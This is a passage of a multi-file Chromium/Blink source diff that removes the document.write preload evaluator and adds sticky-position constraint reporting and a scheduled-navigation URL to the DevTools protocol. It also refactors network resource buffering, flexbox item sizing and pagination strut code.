-      "HTMLDocumentParser::evaluateAndPreloadScriptForDocumentWrite.data",
-      TRACE_EVENT_SCOPE_THREAD, "numPreloads", num_preloads, "scriptLength",
-      source.length());
-
-  if (needed_initialization) {
-    DEFINE_STATIC_LOCAL(
-        CustomCountHistogram, initialize_histograms,
-        ("PreloadScanner.DocumentWrite.InitializationTime", 1, 10000, 50));
-    initialize_histograms.Count(initialization_duration);
-  }
-
-  if (num_preloads) {
-    DEFINE_STATIC_LOCAL(
-        CustomCountHistogram, success_histogram,
-        ("PreloadScanner.DocumentWrite.ExecutionTime.Success", 1, 10000, 50));
-    success_histogram.Count(duration);
-  } else {
-    DEFINE_STATIC_LOCAL(
-        CustomCountHistogram, failure_histogram,
-        ("PreloadScanner.DocumentWrite.ExecutionTime.Failure", 1, 10000, 50));
-    failure_histogram.Count(duration);
-  }
 }
 
 }  // namespace blink
diff --git a/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.h b/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.h
index d8088c7b..4c86051 100644
--- a/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.h
+++ b/third_party/WebKit/Source/core/html/parser/HTMLDocumentParser.h
@@ -67,7 +67,6 @@
 class HTMLTreeBuilder;
 class SegmentedString;
 class TokenizedChunkQueue;
-class DocumentWriteEvaluator;
 
 class CORE_EXPORT HTMLDocumentParser : public ScriptableDocumentParser,
                                        private HTMLParserScriptRunnerHost {
@@ -125,8 +124,6 @@
     HTMLInputCheckpoint input_checkpoint;
     TokenPreloadScannerCheckpoint preload_scanner_checkpoint;
     bool starting_script;
-    // Indices into |tokens|.
-    Vector<int> likely_document_write_script_indices;
     // Index into |tokens| of the last <meta> csp tag in |tokens|. Preloads will
     // be deferred until this token is parsed. Will be noPendingToken if there
     // are no csp tokens.
@@ -233,8 +230,6 @@
   void ScanAndPreload(HTMLPreloadScanner*);
   void FetchQueuedPreloads();
 
-  void EvaluateAndPreloadScriptForDocumentWrite(const String& source);
-
   HTMLToken& Token() { return *token_; }
 
   HTMLParserOptions options_;
@@ -269,9 +264,7 @@
   WeakPtr<BackgroundHTMLParser> background_parser_;
   Member<HTMLResourcePreloader> preloader_;
   PreloadRequestStream queued_preloads_;
-  Vector<String> queued_document_write_scripts_;
   RefPtr<TokenizedChunkQueue> tokenized_chunk_queue_;
-  std::unique_ptr<DocumentWriteEvaluator> evaluator_;
 
   // If this is non-null, then there is a meta CSP token somewhere in the
   // speculation buffer. Preloads will be deferred until a token matching this
diff --git a/third_party/WebKit/Source/core/html/parser/HTMLPreloadScanner.cpp b/third_party/WebKit/Source/core/html/parser/HTMLPreloadScanner.cpp
index 0f8d6b81..6729422f 100644
--- a/third_party/WebKit/Source/core/html/parser/HTMLPreloadScanner.cpp
+++ b/third_party/WebKit/Source/core/html/parser/HTMLPreloadScanner.cpp
@@ -38,7 +38,6 @@
 #include "core/dom/ScriptLoader.h"
 #include "core/frame/LocalFrame.h"
 #include "core/frame/Settings.h"
-#include "core/frame/SubresourceIntegrity.h"
 #include "core/html/CrossOriginAttribute.h"
 #include "core/html/HTMLImageElement.h"
 #include "core/html/HTMLMetaElement.h"
@@ -49,6 +48,7 @@
 #include "core/loader/LinkLoader.h"
 #include "platform/Histogram.h"
 #include "platform/instrumentation/tracing/TraceEvent.h"
+#include "platform/loader/SubresourceIntegrity.h"
 #include "platform/loader/fetch/IntegrityMetadata.h"
 #include "platform/network/mime/ContentType.h"
 #include "platform/network/mime/MIMETypeRegistry.h"
@@ -56,29 +56,6 @@
 
 namespace blink {
 
-namespace {
-
-// When adding values to this enum, update histograms.xml as well.
-enum DocumentWriteGatedEvaluation {
-  kGatedEvaluationScriptTooLong,
-  kGatedEvaluationNoLikelyScript,
-  kGatedEvaluationLooping,
-  kGatedEvaluationPopularLibrary,
-  kGatedEvaluationNondeterminism,
-
-  // Add new values before this last value.
-  kGatedEvaluationLastValue
-};
-
-void LogGatedEvaluation(DocumentWriteGatedEvaluation reason) {
-  DEFINE_STATIC_LOCAL(EnumerationHistogram, gated_evaluation_histogram,
-                      ("PreloadScanner.DocumentWrite.GatedEvaluation",
-                       kGatedEvaluationLastValue));
-  gated_evaluation_histogram.Count(reason);
-}
-
-}  // namespace
-
 using namespace HTMLNames;
 
 static bool Match(const StringImpl* impl, const QualifiedName& q_name) {
@@ -641,17 +618,15 @@
                                PreloadRequestStream& requests,
                                ViewportDescriptionWrapper* viewport,
                                bool* is_csp_meta_tag) {
-  ScanCommon(token, source, requests, viewport, is_csp_meta_tag, nullptr);
+  ScanCommon(token, source, requests, viewport, is_csp_meta_tag);
 }
 
 void TokenPreloadScanner::Scan(const CompactHTMLToken& token,
                                const SegmentedString& source,
                                PreloadRequestStream& requests,
                                ViewportDescriptionWrapper* viewport,
-                               bool* is_csp_meta_tag,
-                               bool* likely_document_write_script) {
-  ScanCommon(token, source, requests, viewport, is_csp_meta_tag,
-             likely_document_write_script);
+                               bool* is_csp_meta_tag) {
+  ScanCommon(token, source, requests, viewport, is_csp_meta_tag);
 }
 
 static void HandleMetaViewport(
@@ -721,63 +696,12 @@
   }
 }
 
-// This method returns true for script source strings which will likely use
-// document.write to insert an external script. These scripts will be flagged
-// for evaluation via the DocumentWriteEvaluator, so it also dismisses scripts
-// that will likely fail evaluation. These includes scripts that are too long,
-// have looping constructs, or use non-determinism. Note that flagging occurs
-// even when the experiment is off, to ensure fair comparison between experiment
-// and control groups.
-bool TokenPreloadScanner::ShouldEvaluateForDocumentWrite(const String& source) {
-  // The maximum length script source that will be marked for evaluation to
-  // preload document.written external scripts.
-  const int kMaxLengthForEvaluating = 1024;
-  if (!document_parameters_->do_document_write_preload_scanning)
-    return false;
-
-  if (source.length() > kMaxLengthForEvaluating) {
-    LogGatedEvaluation(kGatedEvaluationScriptTooLong);
-    return false;
-  }
-  if (source.Find("document.write") == WTF::kNotFound ||
-      source.FindIgnoringASCIICase("src") == WTF::kNotFound) {
-    LogGatedEvaluation(kGatedEvaluationNoLikelyScript);
-    return false;
-  }
-  if (source.FindIgnoringASCIICase("<sc") == WTF::kNotFound &&
-      source.FindIgnoringASCIICase("%3Csc") == WTF::kNotFound) {
-    LogGatedEvaluation(kGatedEvaluationNoLikelyScript);
-    return false;
-  }
-  if (source.Find("while") != WTF::kNotFound ||
-      source.Find("for(") != WTF::kNotFound ||
-      source.Find("for ") != WTF::kNotFound) {
-    LogGatedEvaluation(kGatedEvaluationLooping);
-    return false;
-  }
-  // This check is mostly for "window.jQuery" for false positives fetches,
-  // though it include $ calls to avoid evaluations which will quickly fail.
-  if (source.Find("jQuery") != WTF::kNotFound ||
-      source.Find("$.") != WTF::kNotFound ||
-      source.Find("$(") != WTF::kNotFound) {
-    LogGatedEvaluation(kGatedEvaluationPopularLibrary);
-    return false;
-  }
-  if (source.Find("Math.random") != WTF::kNotFound ||
-      source.Find("Date") != WTF::kNotFound) {
-    LogGatedEvaluation(kGatedEvaluationNondeterminism);
-    return false;
-  }
-  return true;
-}
-
 template <typename Token>
 void TokenPreloadScanner::ScanCommon(const Token& token,
                                      const SegmentedString& source,
                                      PreloadRequestStream& requests,
                                      ViewportDescriptionWrapper* viewport,
-                                     bool* is_csp_meta_tag,
-                                     bool* likely_document_write_script) {
+                                     bool* is_csp_meta_tag) {
   if (!document_parameters_->do_html_preload_scanning)
     return;
 
@@ -786,14 +710,6 @@
       if (in_style_) {
         css_scanner_.Scan(token.Data(), source, requests,
                           predicted_base_element_url_);
-      } else if (in_script_ && likely_document_write_script && !did_rewind_) {
-        // Don't mark scripts for evaluation if the preloader rewound to a
-        // previous checkpoint. This could cause re-evaluation of scripts if
-        // care isn't given.
-        // TODO(csharrison): Revisit this if rewinds are low hanging fruit for
-        // the document.write evaluator.
-        *likely_document_write_script =
-            ShouldEvaluateForDocumentWrite(token.Data());
       }
       return;
     }
@@ -960,9 +876,6 @@
   do_html_preload_scanning =
       !document->GetSettings() ||
       document->GetSettings()->GetDoHtmlPreloadScanning();
-  do_document_write_preload_scanning = do_html_preload_scanning &&
-                                       document->GetFrame() &&
-                                       document->GetFrame()->IsMainFrame();
   default_viewport_min_width = document->ViewportDefaultMinWidth();
   viewport_meta_zero_values_quirk =
       document->GetSettings() &&
diff --git a/third_party/WebKit/Source/core/html/parser/HTMLPreloadScanner.h b/third_party/WebKit/Source/core/html/parser/HTMLPreloadScanner.h
index 9971f77b..182380e 100644
--- a/third_party/WebKit/Source/core/html/parser/HTMLPreloadScanner.h
+++ b/third_party/WebKit/Source/core/html/parser/HTMLPreloadScanner.h
@@ -66,7 +66,6 @@
   }
 
   bool do_html_preload_scanning;
-  bool do_document_write_preload_scanning;
   Length default_viewport_min_width;
   bool viewport_meta_zero_values_quirk;
   bool viewport_meta_enabled;
@@ -99,8 +98,7 @@
             const SegmentedString&,
             PreloadRequestStream& requests,
             ViewportDescriptionWrapper*,
-            bool* is_csp_meta_tag,
-            bool* likely_document_write_script);
+            bool* is_csp_meta_tag);
 
   void SetPredictedBaseElementURL(const KURL& url) {
     predicted_base_element_url_ = url;
@@ -114,18 +112,12 @@
  private:
   class StartTagScanner;
 
-  bool ShouldEvaluateForDocumentWrite(const String& source);
-  bool ShouldEvaluateForDocumentWrite(const HTMLToken::DataVector& source) {
-    return false;
-  }
-
   template <typename Token>
   inline void ScanCommon(const Token&,
                          const SegmentedString&,
                          PreloadRequestStream& requests,
                          ViewportDescriptionWrapper*,
-                         bool* is_csp_meta_tag,
-                         bool* likely_document_write_script);
+                         bool* is_csp_meta_tag);
 
   template <typename Token>
   void UpdatePredictedBaseURL(const Token&);
diff --git a/third_party/WebKit/Source/core/html/parser/HTMLPreloadScannerFuzzer.cpp b/third_party/WebKit/Source/core/html/parser/HTMLPreloadScannerFuzzer.cpp
index 48bd6dc..bded9d2e 100644
--- a/third_party/WebKit/Source/core/html/parser/HTMLPreloadScannerFuzzer.cpp
+++ b/third_party/WebKit/Source/core/html/parser/HTMLPreloadScannerFuzzer.cpp
@@ -18,8 +18,6 @@
   std::unique_ptr<CachedDocumentParameters> document_parameters =
       CachedDocumentParameters::Create();
   document_parameters->do_html_preload_scanning = fuzzed_data.ConsumeBool();
-  document_parameters->do_document_write_preload_scanning =
-      fuzzed_data.ConsumeBool();
   // TODO(csharrison): How should this be fuzzed?
   document_parameters->default_viewport_min_width = Length();
   document_parameters->viewport_meta_zero_values_quirk =
diff --git a/third_party/WebKit/Source/core/inspector/InspectorLayerTreeAgent.cpp b/third_party/WebKit/Source/core/inspector/InspectorLayerTreeAgent.cpp
index d23012f..1833da5 100644
--- a/third_party/WebKit/Source/core/inspector/InspectorLayerTreeAgent.cpp
+++ b/third_party/WebKit/Source/core/inspector/InspectorLayerTreeAgent.cpp
@@ -55,6 +55,7 @@
 #include "platform/wtf/text/StringBuilder.h"
 #include "public/platform/WebFloatPoint.h"
 #include "public/platform/WebLayer.h"
+#include "public/platform/WebLayerStickyPositionConstraint.h"
 
 namespace blink {
 
@@ -67,16 +68,20 @@
   return String::Number(graphics_layer->PlatformLayer()->Id());
 }
 
+static std::unique_ptr<protocol::DOM::Rect> BuildObjectForRect(
+    const WebRect& rect) {
+  return protocol::DOM::Rect::create()
+      .setX(rect.x)
+      .setY(rect.y)
+      .setHeight(rect.height)
+      .setWidth(rect.width)
+      .build();
+}
+
 static std::unique_ptr<protocol::LayerTree::ScrollRect> BuildScrollRect(
     const WebRect& rect,
     const String& type) {
-  std::unique_ptr<protocol::DOM::Rect> rect_object =
-      protocol::DOM::Rect::create()
-          .setX(rect.x)
-          .setY(rect.y)
-          .setHeight(rect.height)
-          .setWidth(rect.width)
-          .build();
+  std::unique_ptr<protocol::DOM::Rect> rect_object = BuildObjectForRect(rect);
   std::unique_ptr<protocol::LayerTree::ScrollRect> scroll_rect_object =
       protocol::LayerTree::ScrollRect::create()
           .setRect(std::move(rect_object))
@@ -115,6 +120,38 @@
   return scroll_rects->length() ? std::move(scroll_rects) : nullptr;
 }
 
+static std::unique_ptr<protocol::LayerTree::StickyPositionConstraint>
+BuildStickyInfoForLayer(WebLayer* layer) {
+  WebLayerStickyPositionConstraint constraints =
+      layer->StickyPositionConstraint();
+  if (!constraints.is_sticky)
+    return nullptr;
+
+  std::unique_ptr<protocol::DOM::Rect> sticky_box_rect =
+      BuildObjectForRect(constraints.scroll_container_relative_sticky_box_rect);
+
+  std::unique_ptr<protocol::DOM::Rect> containing_block_rect =
+      BuildObjectForRect(
+          constraints.scroll_container_relative_containing_block_rect);
+
+  std::unique_ptr<protocol::LayerTree::StickyPositionConstraint>
+      constraints_obj =
+          protocol::LayerTree::StickyPositionConstraint::create()
+              .setStickyBoxRect(std::move(sticky_box_rect))
+              .setContainingBlockRect(std::move(containing_block_rect))
+              .build();
+  if (constraints.nearest_layer_shifting_sticky_box >= 0) {
+    constraints_obj->setNearestLayerShiftingStickyBox(
+        String::Number(constraints.nearest_layer_shifting_sticky_box));
+  }
+  if (constraints.nearest_layer_shifting_containing_block >= 0) {
+    constraints_obj->setNearestLayerShiftingContainingBlock(
+        String::Number(constraints.nearest_layer_shifting_containing_block));
+  }
+
+  return constraints_obj;
+}
+
 static std::unique_ptr<protocol::LayerTree::Layer> BuildObjectForLayer(
     GraphicsLayer* graphics_layer,
     int node_id,
@@ -165,6 +202,10 @@
       BuildScrollRectsForLayer(graphics_layer, report_wheel_event_listeners);
   if (scroll_rects)
     layer_object->setScrollRects(std::move(scroll_rects));
+  std::unique_ptr<protocol::LayerTree::StickyPositionConstraint> sticky_info =
+      BuildStickyInfoForLayer(web_layer);
+  if (sticky_info)
+    layer_object->setStickyPositionConstraint(std::move(sticky_info));
   return layer_object;
 }
 
diff --git a/third_party/WebKit/Source/core/inspector/InspectorPageAgent.cpp b/third_party/WebKit/Source/core/inspector/InspectorPageAgent.cpp
index b5ace803..ae588f4 100644
--- a/third_party/WebKit/Source/core/inspector/InspectorPageAgent.cpp
+++ b/third_party/WebKit/Source/core/inspector/InspectorPageAgent.cpp
@@ -775,7 +775,8 @@
     ScheduledNavigation* scheduled_navigation) {
   GetFrontend()->frameScheduledNavigation(
       FrameId(frame), scheduled_navigation->Delay(),
-      ScheduledNavigationReasonToProtocol(scheduled_navigation->GetReason()));
+      ScheduledNavigationReasonToProtocol(scheduled_navigation->GetReason()),
+      scheduled_navigation->Url().GetString());
 }
 
 void InspectorPageAgent::FrameClearedScheduledNavigation(LocalFrame* frame) {
diff --git a/third_party/WebKit/Source/core/inspector/NetworkResourcesData.cpp b/third_party/WebKit/Source/core/inspector/NetworkResourcesData.cpp
index 4a49c42..a3b9d92 100644
--- a/third_party/WebKit/Source/core/inspector/NetworkResourcesData.cpp
+++ b/third_party/WebKit/Source/core/inspector/NetworkResourcesData.cpp
@@ -151,8 +151,7 @@
     // We could be evicting resource being loaded, save the loaded part, the
     // rest will be appended.
     network_resources_data_->MaybeAddResourceData(
-        RequestId(), cached_resource_->ResourceBuffer()->Data(),
-        cached_resource_->ResourceBuffer()->size());
+        RequestId(), cached_resource_->ResourceBuffer());
   }
   cached_resource_ = nullptr;
 }
@@ -272,21 +271,48 @@
   }
 }
 
-void NetworkResourcesData::MaybeAddResourceData(const String& request_id,
-                                                const char* data,
-                                                size_t data_length) {
+NetworkResourcesData::ResourceData*
+NetworkResourcesData::PrepareToAddResourceData(const String& request_id,
+                                               size_t data_length) {
   ResourceData* resource_data = ResourceDataForRequestId(request_id);
   if (!resource_data)
-    return;
+    return nullptr;
+
   if (resource_data->DataLength() + data_length >
       maximum_single_resource_content_size_)
     content_size_ -= resource_data->EvictContent();
   if (resource_data->IsContentEvicted())
-    return;
-  if (EnsureFreeSpace(data_length) && !resource_data->IsContentEvicted()) {
-    request_ids_deque_.push_back(request_id);
+    return nullptr;
+  if (!EnsureFreeSpace(data_length) || resource_data->IsContentEvicted())
+    return nullptr;
+
+  request_ids_deque_.push_back(request_id);
+  content_size_ += data_length;
+
+  return resource_data;
+}
+
+void NetworkResourcesData::MaybeAddResourceData(const String& request_id,
+                                                const char* data,
+                                                size_t data_length) {
+  if (ResourceData* resource_data =
+          PrepareToAddResourceData(request_id, data_length)) {
     resource_data->AppendData(data, data_length);
-    content_size_ += data_length;
+  }
+}
+
+void NetworkResourcesData::MaybeAddResourceData(
+    const String& request_id,
+    RefPtr<const SharedBuffer> data) {
+  DCHECK(data);
+  if (ResourceData* resource_data =
+          PrepareToAddResourceData(request_id, data->size())) {
+    data->ForEachSegment([&resource_data](const char* segment,
+                                          size_t segment_size,
+                                          size_t segment_offset) {
+      resource_data->AppendData(segment, segment_size);
+      return true;
+    });
   }
 }
 
diff --git a/third_party/WebKit/Source/core/inspector/NetworkResourcesData.h b/third_party/WebKit/Source/core/inspector/NetworkResourcesData.h
index 204d6ec..5810318d 100644
--- a/third_party/WebKit/Source/core/inspector/NetworkResourcesData.h
+++ b/third_party/WebKit/Source/core/inspector/NetworkResourcesData.h
@@ -246,6 +246,10 @@
   ResourceData* ResourceDataForRequestId(const String& request_id);
   void EnsureNoDataForRequestId(const String& request_id);
   bool EnsureFreeSpace(size_t);
+  ResourceData* PrepareToAddResourceData(const String& request_id,
+                                         size_t data_length);
+  void MaybeAddResourceData(const String& request_id,
+                            RefPtr<const SharedBuffer>);
 
   Deque<String> request_ids_deque_;
 
diff --git a/third_party/WebKit/Source/core/inspector/browser_protocol.json b/third_party/WebKit/Source/core/inspector/browser_protocol.json
index feaaf55..2df79a7 100644
--- a/third_party/WebKit/Source/core/inspector/browser_protocol.json
+++ b/third_party/WebKit/Source/core/inspector/browser_protocol.json
@@ -644,7 +644,8 @@
                 "parameters": [
                     { "name": "frameId", "$ref": "FrameId", "description": "Id of the frame that has scheduled a navigation." },
                     { "name": "delay", "type": "number", "description": "Delay (in seconds) until the navigation is scheduled to begin. The navigation is not guaranteed to start." },
-                    { "name": "reason", "type": "string", "experimental": true, "enum": ["formSubmission", "httpHeaderRefresh", "scriptInitiated", "metaTagRefresh", "pageBlockInterstitial", "reload"], "description": "The reason for the navigation." }
+                    { "name": "reason", "type": "string", "experimental": true, "enum": ["formSubmission", "httpHeaderRefresh", "scriptInitiated", "metaTagRefresh", "pageBlockInterstitial", "reload"], "description": "The reason for the navigation." },
+                    { "name": "url", "type": "string", "experimental": true, "description": "The destination URL for the scheduled navigation." }
                 ],
                 "experimental": true
             },
@@ -4144,6 +4145,17 @@
                 ]
             },
             {
+                "id": "StickyPositionConstraint",
+                "type": "object",
+                "description": "Sticky position constraints.",
+                "properties": [
+                    { "name": "stickyBoxRect", "$ref": "DOM.Rect", "description": "Layout rectangle of the sticky element before being shifted" },
+                    { "name": "containingBlockRect", "$ref": "DOM.Rect", "description": "Layout rectangle of the containing block of the sticky element" },
+                    { "name": "nearestLayerShiftingStickyBox", "$ref": "LayerId", "optional": true, "description": "The nearest sticky layer that shifts the sticky box" },
+                    { "name": "nearestLayerShiftingContainingBlock", "$ref": "LayerId", "optional": true, "description": "The nearest sticky layer that shifts the containing block" }
+                ]
+            },
+            {
                 "id": "PictureTile",
                 "type": "object",
                 "description": "Serialized fragment of layer picture along with its offset within the layer.",
@@ -4172,7 +4184,8 @@
                     { "name": "paintCount", "type": "integer", "description": "Indicates how many time this layer has painted." },
                     { "name": "drawsContent", "type": "boolean", "description": "Indicates whether this layer hosts any content, rather than being used for transform/scrolling purposes only." },
                     { "name": "invisible", "type": "boolean", "optional": true, "description": "Set if layer is not visible." },
-                    { "name": "scrollRects", "type": "array", "items": { "$ref": "ScrollRect"}, "optional": true, "description": "Rectangles scrolling on main thread only."}
+                    { "name": "scrollRects", "type": "array", "items": { "$ref": "ScrollRect"}, "optional": true, "description": "Rectangles scrolling on main thread only."},
+                    { "name": "stickyPositionConstraint", "$ref": "StickyPositionConstraint", "optional": true, "description": "Sticky position constraint information" }
                 ]
             },
             {
diff --git a/third_party/WebKit/Source/core/layout/BUILD.gn b/third_party/WebKit/Source/core/layout/BUILD.gn
index 5959317..d128ca0 100644
--- a/third_party/WebKit/Source/core/layout/BUILD.gn
+++ b/third_party/WebKit/Source/core/layout/BUILD.gn
@@ -207,7 +207,7 @@
     "ListMarkerText.cpp",
     "ListMarkerText.h",
     "MapCoordinatesFlags.h",
-    "MinMaxSize.cc",
+    "MinMaxSize.cpp",
     "MinMaxSize.h",
     "MultiColumnFragmentainerGroup.cpp",
     "MultiColumnFragmentainerGroup.h",
diff --git a/third_party/WebKit/Source/core/layout/FlexibleBoxAlgorithm.cpp b/third_party/WebKit/Source/core/layout/FlexibleBoxAlgorithm.cpp
index e299cd7..6549f23 100644
--- a/third_party/WebKit/Source/core/layout/FlexibleBoxAlgorithm.cpp
+++ b/third_party/WebKit/Source/core/layout/FlexibleBoxAlgorithm.cpp
@@ -37,15 +37,15 @@
 
 FlexItem::FlexItem(LayoutBox* box,
                    LayoutUnit flex_base_content_size,
-                   LayoutUnit hypothetical_main_content_size,
-                   LayoutUnit main_axis_border_and_padding,
                    MinMaxSize min_max_sizes,
+                   LayoutUnit main_axis_border_and_padding,
                    LayoutUnit main_axis_margin)
     : box(box),
       flex_base_content_size(flex_base_content_size),
-      hypothetical_main_content_size(hypothetical_main_content_size),
-      main_axis_border_and_padding(main_axis_border_and_padding),
       min_max_sizes(min_max_sizes),
+      hypothetical_main_content_size(
+          min_max_sizes.ClampSizeToMinAndMax(flex_base_content_size)),
+      main_axis_border_and_padding(main_axis_border_and_padding),
       main_axis_margin(main_axis_margin),
       frozen(false) {
   DCHECK(!box->IsOutOfFlowPositioned());
@@ -53,11 +53,6 @@
       << "Use LayoutUnit::Max() for no max size";
 }
 
-LayoutUnit FlexItem::ClampSizeToMinAndMax(LayoutUnit size) const {
-  return std::max(min_max_sizes.min_size,
-                  std::min(size, min_max_sizes.max_size));
-}
-
 void FlexLine::FreezeViolations(Vector<FlexItem*>& violations) {
   for (size_t i = 0; i < violations.size(); ++i) {
     DCHECK(!violations[i]->frozen) << i;
diff --git a/third_party/WebKit/Source/core/layout/FlexibleBoxAlgorithm.h b/third_party/WebKit/Source/core/layout/FlexibleBoxAlgorithm.h
index 88fa6bef..d3ef9bfd 100644
--- a/third_party/WebKit/Source/core/layout/FlexibleBoxAlgorithm.h
+++ b/third_party/WebKit/Source/core/layout/FlexibleBoxAlgorithm.h
@@ -53,9 +53,8 @@
  public:
   FlexItem(LayoutBox*,
            LayoutUnit flex_base_content_size,
-           LayoutUnit hypothetical_main_content_size,
-           LayoutUnit main_axis_border_and_padding,
            MinMaxSize min_max_sizes,
+           LayoutUnit main_axis_border_and_padding,
            LayoutUnit main_axis_margin);
 
   LayoutUnit HypotheticalMainAxisMarginBoxSize() const {
@@ -73,13 +72,15 @@
            main_axis_margin;
   }
 
-  LayoutUnit ClampSizeToMinAndMax(LayoutUnit size) const;
+  LayoutUnit ClampSizeToMinAndMax(LayoutUnit size) const {
+    return min_max_sizes.ClampSizeToMinAndMax(size);
+  }
 
   LayoutBox* box;
   const LayoutUnit flex_base_content_size;
+  const MinMaxSize min_max_sizes;
   const LayoutUnit hypothetical_main_content_size;
   const LayoutUnit main_axis_border_and_padding;
-  const MinMaxSize min_max_sizes;
   const LayoutUnit main_axis_margin;
   LayoutUnit flexed_content_size;
   bool frozen;
@@ -136,7 +137,7 @@
   LayoutUnit initial_free_space;
   LayoutUnit remaining_free_space;
 
-  // These get filled in by LayoutAndPlaceChildren (for now)
+  // These get filled in by PlaceLineItems (for now)
   // TODO(cbiesinger): Move that to FlexibleBoxAlgorithm.
   LayoutUnit cross_axis_offset;
   LayoutUnit cross_axis_extent;
diff --git a/third_party/WebKit/Source/core/layout/LayoutBlockFlow.cpp b/third_party/WebKit/Source/core/layout/LayoutBlockFlow.cpp
index 542efef6..2a3af13 100644
--- a/third_party/WebKit/Source/core/layout/LayoutBlockFlow.cpp
+++ b/third_party/WebKit/Source/core/layout/LayoutBlockFlow.cpp
@@ -1063,8 +1063,8 @@
         LayoutUnit remaining_space = PageRemainingLogicalHeightForOffset(
             logical_top_margin_edge, kAssociateWithLatterPage);
         if (remaining_space <= margin_before) {
-          strut += CalculatePaginationStrutToFitContent(
-              logical_top_margin_edge, remaining_space, margin_before);
+          strut += CalculatePaginationStrutToFitContent(logical_top_margin_edge,
+                                                        margin_before);
         }
       }
     }
@@ -1154,8 +1154,8 @@
   if (remaining_logical_height < line_height ||
       (ShouldBreakAtLineToAvoidWidow() &&
        LineBreakToAvoidWidow() == line_index)) {
-    LayoutUnit pagination_strut = CalculatePaginationStrutToFitContent(
-        logical_offset, remaining_logical_height, line_height);
+    LayoutUnit pagination_strut =
+        CalculatePaginationStrutToFitContent(logical_offset, line_height);
     LayoutUnit new_logical_offset = logical_offset + pagination_strut;
     // Moving to a different page or column may mean that its height is
     // different.
@@ -1261,7 +1261,7 @@
   if (remaining_logical_height >= child_logical_height)
     return logical_offset;  // It fits fine where it is. No need to break.
   LayoutUnit pagination_strut = CalculatePaginationStrutToFitContent(
-      logical_offset, remaining_logical_height, child_logical_height);
+      logical_offset, child_logical_height);
   if (pagination_strut == remaining_logical_height &&
       remaining_logical_height == PageLogicalHeightForOffset(logical_offset)) {
     // Don't break if we were at the top of a page, and we failed to fit the
diff --git a/third_party/WebKit/Source/core/layout/LayoutBox.cpp b/third_party/WebKit/Source/core/layout/LayoutBox.cpp
index e1cd1f5..7810843 100644
--- a/third_party/WebKit/Source/core/layout/LayoutBox.cpp
+++ b/third_party/WebKit/Source/core/layout/LayoutBox.cpp
@@ -5862,10 +5862,10 @@
 
 LayoutUnit LayoutBox::CalculatePaginationStrutToFitContent(
     LayoutUnit offset,
-    LayoutUnit strut_to_next_page,
     LayoutUnit content_logical_height) const {
-  DCHECK_EQ(strut_to_next_page, PageRemainingLogicalHeightForOffset(
-                                    offset, kAssociateWithLatterPage));
+  LayoutUnit strut_to_next_page =
+      PageRemainingLogicalHeightForOffset(offset, kAssociateWithLatterPage);
+
   // If we're inside a cell in a row that straddles a page then avoid the
   // repeating header group if necessary. If we're a table section we're
   // already accounting for it.
diff --git a/third_party/WebKit/Source/core/layout/LayoutBox.h b/third_party/WebKit/Source/core/layout/LayoutBox.h
index 22fa77c2..ae1b8c1 100644
--- a/third_party/WebKit/Source/core/layout/LayoutBox.h
+++ b/third_party/WebKit/Source/core/layout/LayoutBox.h
@@ -821,13 +821,13 @@
   bool CrossesPageBoundary(LayoutUnit offset, LayoutUnit logical_height) const;
 
   // Calculate the strut to insert in order fit content of size
-  // |contentLogicalHeight|. |strutToNextPage| is the strut to add to |offset|
-  // to merely get to the top of the next page or column. This is what will be
-  // returned if the content can actually fit there. Otherwise, return the
-  // distance to the next fragmentainer that can fit this piece of content.
-  virtual LayoutUnit CalculatePaginationStrutToFitContent(
+  // |content_logical_height|. Usually this will merely return the distance to
+  // the next fragmentainer. However, in cases where the next fragmentainer
+  // isn't tall enough to fit the content, and there's a likelihood of taller
+  // fragmentainers further ahead, we'll search for one and return the distance
+  // to the first fragmentainer that can fit this piece of content.
+  LayoutUnit CalculatePaginationStrutToFitContent(
       LayoutUnit offset,
-      LayoutUnit strut_to_next_page,
       LayoutUnit content_logical_height) const;
 
   void PositionLineBox(InlineBox*);
diff --git a/third_party/WebKit/Source/core/layout/LayoutFlexibleBox.cpp b/third_party/WebKit/Source/core/layout/LayoutFlexibleBox.cpp
index 4366c1f..a64b517 100644
--- a/third_party/WebKit/Source/core/layout/LayoutFlexibleBox.cpp
+++ b/third_party/WebKit/Source/core/layout/LayoutFlexibleBox.cpp
@@ -1000,9 +1000,9 @@
       DCHECK(!flex_item.box->IsOutOfFlowPositioned());
       current_line->remaining_free_space -= flex_item.FlexedMarginBoxSize();
     }
-    LayoutAndPlaceChildren(cross_axis_offset, current_line,
-                           current_line->remaining_free_space,
-                           relayout_children, layout_scope);
+    LayoutLineItems(current_line, relayout_children, layout_scope);
+    PlaceLineItems(cross_axis_offset, current_line,
+                   current_line->remaining_free_space);
   }
   if (HasLineIfEmpty()) {
     // Even if ComputeNextFlexLine returns true, the flexbox might not have
@@ -1191,9 +1191,7 @@
 DISABLE_CFI_PERF
 MinMaxSize LayoutFlexibleBox::ComputeMinAndMaxSizesForChild(
     const LayoutBox& child) const {
-  MinMaxSize sizes;
-  sizes.min_size = LayoutUnit();
-  sizes.max_size = LayoutUnit::Max();
+  MinMaxSize sizes{LayoutUnit(), LayoutUnit::Max()};
 
   Length max = IsHorizontalFlow() ? child.Style()->MaxWidth()
                                   : child.Style()->MaxHeight();
@@ -1354,13 +1352,10 @@
                                       : child.BorderAndPaddingHeight();
   LayoutUnit child_inner_flex_base_size =
       ComputeInnerFlexBaseSizeForChild(child, border_and_padding, layout_type);
-  LayoutUnit child_min_max_applied_main_axis_extent = std::max(
-      sizes.min_size, std::min(child_inner_flex_base_size, sizes.max_size));
   LayoutUnit margin =
       IsHorizontalFlow() ? child.MarginWidth() : child.MarginHeight();
-  return FlexItem(&child, child_inner_flex_base_size,
-                  child_min_max_applied_main_axis_extent, border_and_padding,
-                  sizes, margin);
+  return FlexItem(&child, child_inner_flex_base_size, sizes, border_and_padding,
+                  margin);
 }
 
 // Returns true if we successfully ran the algorithm and sized the flex items.
@@ -1699,33 +1694,9 @@
 }
 
 DISABLE_CFI_PERF
-void LayoutFlexibleBox::LayoutAndPlaceChildren(
-    LayoutUnit& cross_axis_offset,
-    FlexLine* current_line,
-    LayoutUnit available_free_space,
-    bool relayout_children,
-    SubtreeLayoutScope& layout_scope) {
-  const StyleContentAlignmentData justify_content = ResolvedJustifyContent();
-
-  LayoutUnit auto_margin_offset = AutoMarginOffsetInMainAxis(
-      current_line->line_items, available_free_space);
-  LayoutUnit main_axis_offset =
-      FlowAwareBorderStart() + FlowAwarePaddingStart();
-  main_axis_offset += InitialContentPositionOffset(
